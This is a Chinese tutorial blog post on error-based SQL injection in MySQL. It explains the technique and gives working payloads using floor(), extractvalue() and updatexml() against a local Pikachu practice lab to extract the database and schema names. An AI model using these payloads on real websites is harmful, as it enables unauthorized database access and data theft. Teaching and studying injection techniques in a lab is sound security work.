SQL注入-报错注入[通俗易懂]
大家好,又见面了,我是你们的朋友全栈君。
目录
一、报错注入的定义
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
二、利用报错注入的前提
1.页面上没有显示位,但是必须有SQL语句执行错误的信息。
三、报错注入的优缺点
1.优点:不需要显示位,如果有显示位建议使用union联合查询。
2.缺点:需要有SQL语句的报错信息。
四、构造报错注入的基本步骤
- 构造目标查询语句;
- 选择报错注入函数;
- 构造报错注入语句;
- 拼接报错注入语句;
五、常见的报错注入函数
- floor();
- extractvalue();
- updatexml();
- geometrycollection();
- multipoint();
- polygon();
- multipolygon();
- linestring();
- multilinestring();
- exp();
六、报错注入演示(只演示前三个)
1.利用floor()函数进行报错注入
主要报错原因为:count()+rand()+group_by()导致主键重复。
因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。
(1)获取当前数据库库名 :
http://localhost/pikachu/vul/sqli/sqli_str.php?name=lili'union select 1,count(*) from information_schema.tables group by concat(0x7e,database(),0x7e,floor(rand(0)*2))--+&submit=æ¥è¯¢
查询结果:
2.利用extractvalue()函数进行报错注入
extractvalue()函数为MYSQL对XML文档数据进行查询的XPATH函数。
语法: extractValue(xml_document, xpath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,
第二个参数:XPath_string (Xpath格式的字符串);
Xpath定位必须是有效的,否则则会发生错误;所以可以在这个位置植入表达式,做执行后报错
!注意:一次返回值最大为32位,当数据库名大于32,需要结合其他方式使用(可以使用substr());
(1)获取当前数据库库名
http://localhost/pikachu/vul/sqli/sqli_str.php?name=lili'and extractvalue(1,concat(1,(select database())))--+&submit=æ¥è¯¢
查询结果:
(2)获取所有的数据库库名
http://localhost/pikachu/vul/sqli/sqli_str.php?name=lili'and extractvalue(1,concat(1,(select group_concat(schema_name)from information_schema.schemata)))--+&submit=æ¥è¯¢
查询结果:
由于extractvalue()函数一次性最大只返回32位,所以接下来可以使用substr()函数输入所有的数据
(3)使用substr()函数截取所有的数据
http://localhost/pikachu/vul/sqli/sqli_str.php?name=lili' and extractvalue(1,concat(1,(select substr((select group_concat(schema_name) from information_schema.schemata),1,20)))) --++&submit=æ¥è¯¢
查询结果:
3.利用updatexml()函数进行报错注入
updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
语法:UPDATEXML (xml_document, XPathstring, new_value)。
第一个参数:xml_document,文档名称。
第二个参数:XPathstring (Xpath格式的字符串),做内容定位。
第三个参数:new_value,String格式,替换查找到的符合条件的值。
!注意:一次返回值最大为32位,当数据库名大于32,需要结合其他方式使用(可以使用substr());
(1)获取当前数据库库名
http://localhost/pikachu/vul/sqli/sqli_str.php?name=lili' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--++&submit=æ¥è¯¢
查询结果:
!0x7e为“~”。
(2)获取所有数据库库名
http://localhost/pikachu/vul/sqli/sqli_str.php?name=lili' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)--++&submit=æ¥è¯¢
group_concat()函数表示将数据一次性输出。
查询结果:
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/187671.html原文链接:https://javaforall.cn
相关文章
- T-SQL教程_sql server 2008使用
- SQL报错注入_报错注入原理
- SQL注入基本原理_sql到底怎么注入
- SQL注入之PHP-MySQL实现手工注入-字符型
- 踩坑篇之WebSocket实现类中无法使用@Autowired注入对象
- SQL开发知识:Sql注入原理简介
- SQL开发知识:Oracle中sql语句(+)符号代表连接的使用介绍
- ORA-13802: failed to purge SQL Tuning Base entry from sql$ ORACLE 报错 故障修复 远程处理
- 修改SQL-SERVER数据库表结构的SQL命令附sql命令行修改数据库
- MySQL中的导入SQL文件 Command怎么用?(mysql导入sql文件命令)
- 环境预防SQL注入, 把Oracle环境保护好(sql注入oracle)
- MongoDB: 预防SQL注入攻击的必要手段(mongodb注入)
- MySQL 嵌入式 SQL 的特点和应用场景分析(mysql嵌入式sql)
- MySQL 注入攻击技术及防范教程(mysql注入教程)
- Sql server 数据库手工注入语句集合
- MySQL中使用绑定变量防止SQL注入攻击(mysql绑定变量)
- MSSQL中最佳的SQL语句编写技巧(sql mssql 语句)
- sql 注入MSSQL防止SQL注入:强力防护的关键步骤(mssql阻止)
- MSSQL实现SQL注入防护的完美解决方案(mssql 防sql注入)
- Oracle优化SQL,提升性能(oracle 优化sql)
- MySQL中防御SQL注入攻击的方法(mysql中sql注入)
- MySQL批量执行SQL脚本,给你快速上手(c mysql批量sql)
- 防范MySQL万能注入攻击的实用方法(mysql万能注入)
- Redis提供依赖注入解决方案(依赖注入redis)
- Oracle数据库如何防范SQL注入(oracle会sql注入)
- SQL运算技巧在Oracle中大显神威(oracle中sql运算)
- SQL数据库的高级sql注入的一些知识
- 浅谈开启magic_quote_gpc后的sql注入攻击与防范
- php防注入,表单提交值转义的实现详解